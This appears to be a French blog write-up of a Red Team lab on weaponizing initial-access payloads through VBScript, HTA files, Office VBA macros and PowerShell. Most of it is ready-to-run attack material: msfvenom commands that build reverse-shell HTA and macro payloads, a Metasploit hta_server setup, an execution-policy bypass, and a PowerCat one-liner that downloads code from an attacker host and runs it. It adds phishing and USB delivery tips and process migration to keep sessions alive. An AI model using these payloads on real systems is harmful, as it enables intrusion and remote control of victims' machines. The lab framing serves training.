Techniques de weaponization pour opérations Red Team

Les techniques de weaponization représentent une étape clé dans la chaîne d'attaque, permettant aux Red Teams de déployer des charges utiles efficaces pour obtenir un accès initial à un système cible. Cet article examine plusieurs méthodes courantes.

Utilisation de l'environnement cible Windows

Pour ces exercices, établissez une connexion RDP à la machine cible Windows 10 fournie par la plateforme.

xfreerdp /v:ADRESSE_IP_CIBLE /u:identifiant /p:mot_de_passe +clipboard

Assurez-vous que votre machine d'attaque est connectée au réseau VPN requis.

Windows Script Host (WSH)

WSH est un moteur natif Windows capable d'exécuter des scripts VBScript (fichiers .vbs, .vbe) via cscript.exe ou wscript.exe. Ces scripts s'exécutent avec les privilèges de l'utilisateur courant.

Exemple basique : affichage d'un message

Créez un fichier salut.vbs avec le contenu suivant :

Dim texte
texte = "Bienvenue dans l'environnement de test"
MsgBox texte

Exécutez-le avec wscript salut.vbs pour voir apparaître une fenêtre de dialogue.

Lancement d'un exécutable

Créez un fichier charge.vbs pour exécuter la calculatrice Windows :

Set objet = WScript.CreateObject("Wscript.Shell")
objet.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

Exécutez avec wscript charge.vbs. Si les fichiers .vbs sont bloqués, renommez le fichier en .txt et exécutez avec la commande : wscript /e:VBScript charge.txt

HTML Applications (HTA)

Les HTA sont des pages HTML dynamiques contenant du script (JScript, VBScript) qui peuvent être exécutées via l'utilitaire mshta.exe.

Exemple avec objet ActiveXObject

Créez un fichier exemple.hta :

<html>
<body>
<script type="text/javascript">
    var commande = 'cmd.exe'
    var shell = new ActiveXObject('WScript.Shell');
    shell.Run(commande);
</script>
</body>
</html>

Hébergez ce fichier sur un serveur web simple (ex: python3 -m http.server 8090) et accédez-y depuis la machine cible via le navigateur.

Création d'un reverse shell HTA avec Metasploit

Générez un fichier HTA malveillant :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATTAQUANT LPORT=443 -f hta-psh -o payload.hta

Hébergez le fichier et démarrez un listener Netcat sur le port choisi : nc -lvp 443. L'exécution du fichier HTA par la cible établira une connexion inverse.

Utilisation du module Metasploit hta_server

Dans Metasploit :

use exploit/windows/misc/hta_server
set LHOST IP_ATTAQUANT
set LPORT 443
set SRVHOST IP_ATTAQUANT
set payload windows/meterpreter/reverse_tcp
exploit -j

Cette commande génère une URL HTA malveillante à fournir à la cible. L'accès à cette URL établira une session Meterpreter.

Visual Basic for Applications (VBA) dans les Macros

Les macros VBA dans les documents Microsoft Office (Word, Excel) permettent l'exécution de code à l'ouverture du document.

Macro d'initialisation

Dans l'éditeur VBA (via le menu Macros), créez une macro nommée Initialisation :

Sub Document_Open()
    Initialisation
End Sub

Sub Initialisation()
    MsgBox ("Document chargé.")
End Sub

Enregistrez le document au format prenant en charge les macros (.docm). À l'ouverture, un message apparaîtra.

Macro pour exécuter un programme

Sub LancerProgramme()
    Dim chemin As String
    chemin = "notepad.exe"
    CreateObject("Wscript.Shell").Run chemin, 0
End Sub

Assurez-vous que cette fonction est appelée par Document_Open ou AutoOpen.

Reverse shell Meterpreter via macro VBA

Générez le code VBA avec msfvenom :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP_ATTAQUANT LPORT=443 -f vba

Copiez le code généré dans l'éditeur VBA d'un document Word. Modifiez la fonction d'ouverture en Document_Open. Configurez un handler Metasploit et ouvrez le document sur la cible pour obtenir une session.

PowerShell (PSH)

PowerShell est un environnement de scripting puissant basé sur .NET. Son exécution est contrôlée par des stratégies.

Stratégies d'exécution et contournement

Vérifiez la politique en cours : Get-ExecutionPolicy. Pour exécuter un script malgré une politique restrictive :

powershell -ExecutionPolicy Bypass -File script.ps1

Reverse shell avec PowerCat

Sur l'attaquant, hébergez le script powercat.ps1. Sur la cible, exécutez :

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://IP_ATTAQUANT:port/powercat.ps1'); powercat -c IP_ATTAQUANT -p PORT_ECOUTE -e cmd"

Cette commande télécharge et exécute PowerCat, qui établit une connexion shell inverse vers l'attaquant.

Fondamentaux des frameworks C2

Un framework Command and Control (C2) est essentiel pour les opérations red team, permettant la gestion centralisée des agents et l'exécution d'actions post-exploitation sur les machines compromises. Des outils comme Cobalt Strike, Metasploit ou Empire offrent des capacités de génération de payload, de mouvement latéral et d'exfiltration. Les techniques décrites ici (WSH, HTA, VBA, PowerShell) servent souvent de vecteur d'accès initial pour déployer un agent C2.

Techniques de livraison des charges utiles

La livraison doit être convaincante pour inciter la cible à exécuter le payload. Les vecteurs principaux incluent :

  • Email de phishing : pièces jointes ou liens vers des fichiers malveillants (documents Office, HTA). L'infrastructure email doit être crédible (DKIM, SPF).
  • Livraison web : hébergement du payload sur un serveur web contrôlé avec un domaine propre et un certificat TLS valide, accessible via des liens directs ou des raccourcisseurs d'URL.
  • Dispositifs USB : distribution de clés USB physiques programmées (ex: Rubber Ducky) ou de câbles malveillants (ex: O.MG Cable), lorsque les politiques de l'entreprise le permettent.

Application pratique

Dans l'environnement lab fourni, une application web simulée permet de tester la livraison de payloads. Elle peut exécuter des fichiers .vbs, .doc et .ps1 téléversés, ou visiter automatiquement une URL HTA fournie.

Conseil pour les payloads DOC : L'application ouvrira le document pendant 90 secondes avant de le fermer. Pour maintenir une session Meterpreter, utilisez la commande run post/windows/manage/migrate dans la session obtenue pour injecter le processus dans une application pérenne comme notepad.exe.

Exemple d'obtention d'accès via HTA

Démarrez le module Metasploit hta_server comme décrit précédemment pour obtenir une URL HTA. Soumettez cette URL dans l'application web simulée. Une session Meterpreter sera établie sur l'attaquant. Utilisez-la pour naviguer sur la cible et récupérer le flag.

Étiquettes: vbscript HTA VBA Macro PowerShell

Publié le 12 juillet à 16h38